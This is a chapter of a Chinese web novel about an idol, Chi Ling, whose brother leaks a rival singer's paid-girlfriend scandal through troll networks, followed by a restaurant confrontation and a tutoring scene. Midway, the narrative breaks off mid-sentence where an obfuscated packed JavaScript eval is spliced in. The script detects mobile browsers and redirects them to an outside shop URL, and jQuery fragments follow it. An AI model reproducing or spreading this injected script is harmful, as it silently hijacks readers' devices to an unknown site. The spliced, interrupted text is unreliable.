邹庆震惊地捧着手机,两只眼睛快瞪得出来了,他不可置信地翻着词条里的视频、图片……怎么回事,不可能,绝对不可能。

    #邹庆恋情# [爆]

    词条里置顶的帖子来自一个千万粉的娱乐号,发在九分钟前。第一张图是地下车库的远距离抓拍。邹庆没戴墨镜,穿了一件普通的灰色连帽衫,手臂搭在一个女人的肩上,侧脸靠得很近。女人的脸被打了马赛克,但身形清晰,米白色长风衣,长发高跟鞋。邹庆认得,这已经是三个月前的照片了。

    第二张是同一个车库的另一个角度。第三张是两个人一起走进电梯。后面几张是时间线梳理,配了长文分析,指向明确。帖子底下还有大大小小的营销号、水军在拼命转发。

    评论区已经炸了。

    最高赞第一条,点赞数每分钟往上跳几千:

    【机场那次嘴型不是打电话叫宝贝吗,原来是真的】

    【他刚不是还在Q市堵RAY吗,笑死了一面踩新人一面自己养嫂子】

    尺绫把手机放下。他拿起叉子,切开第二块鱼排。面衣还是酥的,咬下去带了柠檬的一点酸。

    邹庆突然暴起,他唰地站起来,愤怒得在原地不动了。几十秒后,他转头看向尺绫,顾不得门外咔咔拍照的粉丝了,径直大步冲过去。

    他伸出手,想揪住尺绫的衣领,坐在外围的卓云山手忙脚乱地放下刀叉,站起来把他拦住。尺绫还在手持餐具,抬眼看了他一眼,非常平静。

    “笑啊,你怎么不笑了。”邹庆吼道,周围的食客都纷纷转过头来看这场冲突。

    “你敢说不是你干的。”邹庆伸出一只手指指他,狠狠地咬着牙。卓云山艰难地挡在两人中间,不敢用太大力,也不敢把他放过去,“尺绫,你好样的!”

    餐桌上是一片寂静,除了尺绫的咀嚼声。

    文州吓得连饭都不敢吃了,尺绫依然非常平静。邹庆见他不回复自己,更是动起手脚来,“咚”一声踢到了桌子,尺绫的白瓷盘都震了一下。

    其他人都看着尺绫,尺绫把餐盘重新扶好,终于开始说话:“不是你说的,在圈子里要掂掂自己几斤几两吗。”

    他缓而慢地说:“连自己有多重都不知道就来挡门了。”

    “你——!”邹庆又往前冲了一下。

    外面的人还在疯狂录着这段视频,邹庆看了一眼,感受到他们期盼的目光,好像都在说”赶紧打起来,快点!”,他甩了手,又指他一下:“你给我等着!”

    这一句话他上一次就说过了,尺绫听得耳朵起茧,“还想继续就再来。”

    邹庆回到自己位置上,助理也站起来手忙脚乱的,问了一句“还吃吗?”邹庆吼还吃什么吃,看上去已经要气炸了。

    他拿起包闯出门外,助理慌慌忙忙地结账,门外粉丝们的手机净一色对准他旋转。

    人走后,队友们都纷纷伸长脖子。

    “走啦。”

    “好像是。”

    文州这时候才激动起来:“尺绫,你什么时候变得这么刚了!”

    尺绫没有回答,文州继续喋喋不休:“一定是你哥干的,就那个主持人,对不对,你们家真有能耐啊。”

    邹庆只调查了尺绫,没有调查尺绫他哥,以为他仅仅是一个普通的小主持,就算有影响力也只是在小地方电视台里有影响力。

    但他不知道,如果没有两把刷子,尺言怎么可能把尺绫捧上出道位,情报网、人脉、营销团队、大批量水军……他们家是一个都不缺。

    想要弄到邹庆的情报何其容易,不过这也得多亏邹庆在机场喊的那声“宝贝”,不然尺绫也没不会知道他身上还有恋情。从某种程度上来说,尺言已经爆得很含蓄了,这个邹庆女友的正牌身份只是一个给钱就来的职业“女友”,服务过不少明星。

    不久,就有人从衣着中发现端倪。找到了邹庆“女友”的社交帐号——原来是只——!

    【邹庆瓢虫啊】

    【这对吗】

    【有没有人告诉我为什么突然爆这个出来,最近也没什么大事要压啊】

    【估计是尺皇干的,你联系一下上下文,也只有他有底气这样干】

    【邹庆这回……是真的要死了吧。塌得也太快了】

    【这下真的要尺皇万岁万岁万万岁了】

    尺绫放下手机,系统突然冒出来,ayi说:【宿主,你的压力值下降了5点】

    尺绫微微笑笑,有些不明显,继续低头吃自己的炸鱼薯条。他突然发现自己还挺爱这种感觉的。

    炸鱼薯条见了底。白瓷盘上剩几根凉透的薯条,沾过塔塔酱的那一截在盘边凝了一小坨浅黄色的印子。尺绫放下叉子,拿餐巾擦了擦手。

    卓云山看了看手机上的时间,站起来拍了拍手。“差不多了,街拍两点开始。还有四十分钟,走回去刚好。”

    众人陆续起身。文州把他那盘名字最长、吃了不到一半的菜往前推了推,嘴上还在说:“尺绫你刚才真的太猛了,你看他那张脸……”他学着邹庆瞪眼的表情,被容姚拍了一下肩膀。

    “行了,人都走了。”

    “我就是感慨一下。”文州嘟囔着,拿起自己的手机。

    结账的时候出了一点小麻烦,老板的刷卡机出了故障,连试了三次才成功。卓云山站在柜台前等了将近五分钟,其他人靠在门口等。外面的阳光比中午更薄了一些,云层厚起来,石板路上的光影从金黄褪成了灰白。

    文州凑到尺绫旁边,压低声音:“你说邹庆还会不会——”

    “不知道。”尺绫说。

    他说这三个字的时候没看文州。他望着街对面,那群粉丝还没散,镜头却已经从对着餐厅门口改成了低着头刷手机。他们在激烈地看热搜。文州顺着他的目光看过去,不说话了。

    刷卡机好了。卓云山付了钱,把发票叠好塞进外套口袋。一行人推开玻璃门。街上的空气比来的时候凉了一点。

    云确实厚了,太阳被遮在后面,整条主街的色调暗了一个度。石板缝里的青苔颜色深了,像是吸饱了水汽。

    下午的街拍很顺利,一个接着一个,又是solo又是合照。折腾了两个多小时,终于是弄完了,而路透也早就传上了国内的网站。

    【哇塞,好期待啊】

    【我看睿7好像心情很好】

    【感觉完全没有被邹某人干扰啊】

    没有被干扰是假的,开车回民宿的过程中,大家都不自觉与尺绫多出了几分疏离感。倒不是说怕什么,只是觉得太出人意料了,跟变了个人似的。

    最终,是施齐青说的:“尺绫还挺有仇必报的。”

    这个话题引起了大家的竖耳,卓云山不让施齐青尴尬,于是也说:“是啊,感觉小7好像长大了。”

    小7算是团粉对尺绫的爱称,虽然更多时候是叫他尺皇。尺绫默默地坐着车,一句也没有回。他们回到民宿,昨天的几个人就开始继续做饭起来。尺绫帮不上忙,于是上楼复习。

    他翻开了一份语文试卷,这算是他最薄弱的部分,上面的密密麻麻方块字看得他眼花缭乱,他做得很慢,也很辛苦,但他知道这是必须要解决的部分。

    【报告宿主,您的粉丝已经达到了300万,达成阶段性奖励条件,您获得一次许愿额度】

    尺绫没有管,还在硬着头皮做下去。忽地,门口敲了一下门。

    尺绫微微抬头,他以为是文州又来找他打游戏,但下意识又感觉不对。起身打

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949079|214116||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开门,发现施齐青站在门口。

    “尺绫,”施齐青开口,犹豫了一下,说出自己的目的:

    “要不要帮你补一下习。”

    尺绫微怔。

    施齐青半张开口,终于又是说:“我看你复习那么辛苦,时间又那么紧,想着有人带一下你应该会好点。”

    施齐青是一本大学的工科毕业的,好说歹说高考也考过五百多分,大学时除了做练习生也出去当过家教,对初中内容尤其数理化还是很熟悉的。

    尺绫也犹豫了一下,知道他心里是什么算盘,侧侧身,让他进来了。

    窗台边上的摄像头对准着他们,施齐青进来看到他在写语文,半张嘴没说话,估计是不知道说什么好,最后坐下来,憋出了一句:“你的字还挺清秀的嘛。”

    尺绫的方块字是一笔一划的,看上去整整齐齐很舒心。施齐青翻看了一下他的试卷,大概估摸到他的水平了,顶天也就个中等。

    “你要不先做数理化吧,我比较擅长。”

    尺绫看了一眼他,满足他的心愿,拿出了一套数学试卷。

    两人坐在书桌前,施齐青正想教他第一题,还没看完题目,尺绫就已经选上了。

    施齐青:??不是。

    不过几分钟,尺绫就已经做完了选择题部分,全程行云流水,一点犹豫都不带。施齐青深深吸一口气,意识到事情似乎没这么简单。

    尺绫似乎也感觉到施齐青的目光,动作慢了下来,他目光移到填空题那边,拿了张草稿纸。

    他看着题目,有十几秒没动笔,施齐青感觉机会来了,主动伸手讲解,“你注意一下这两个变量……”

    尺绫轻轻的“嗯”一声,也还没动笔,又过了几秒,他的手才开始往下点。施齐青想他终于有思路了,凑过头去一看——

    “你用微积分的方法解???”

    尺绫慢慢的写着,其实他已经完成了脑算了,把过程写下来只是配合施齐青。

    施齐青吓得站起来,尺绫默默划掉了刚才的过程,填上答案。他其实不需要任何人帮他补习数理化,但施齐青要是想要点镜头,也不是不可以。

    施齐青哑言一下,半晌,才沙哑着出口:“你有没有其他要补习的。”

    尺绫还没来得及换回语文试卷,楼下便叫吃饭了。他们两个互相看一眼,默契地不再提刚才的事,齐步下楼。

    今天卓云山煎了牛排,切成一小条一小条的,尺绫吃了两口,又接着吃青菜。饭桌上他们聊着明天该干嘛该干嘛,尺绫却一声不出。

    他脑海里面在背诵着语文的文言文,ayi正一遍遍给他放着音频。

    当背到第三篇的时候,窗外下雨了。众人抬头往外边看看,还挺大。

    晚餐结束后,屋内照常开始打游戏,尺绫还要背书,没空打。于是他走到民宿门外,在长廊上靠着,对着雨幕默背。

    忽地,卓云山也出来了。他也撑在栏杆上,舒一口气:“在干嘛呢。”

    作为队长,他是要关心队员们的心理状况的。虽然尺绫不说,但从热搜来看,他遭遇的麻烦事可不少。必定不会舒心。

    尺绫中断了背书,但没有回答。

    “有事不要总是憋在心里,你老是这样。适当也要放松一下。”

    卓云山说,还没等回应,他又说:“不过我觉得,你倒是变了。”

    尺绫垂垂眼眉。卓云山见他不答,笑笑:“变成熟了一点。”

    尺绫是变成熟了,虽然从某些方面他还很幼稚。

    “你不怕吗,今天。”卓云山又说,“他确实后台有人的。”

    尺绫终于出口,声音很淡,但瞬间变得很有力:

    “怕他干嘛。我连死都不怕。”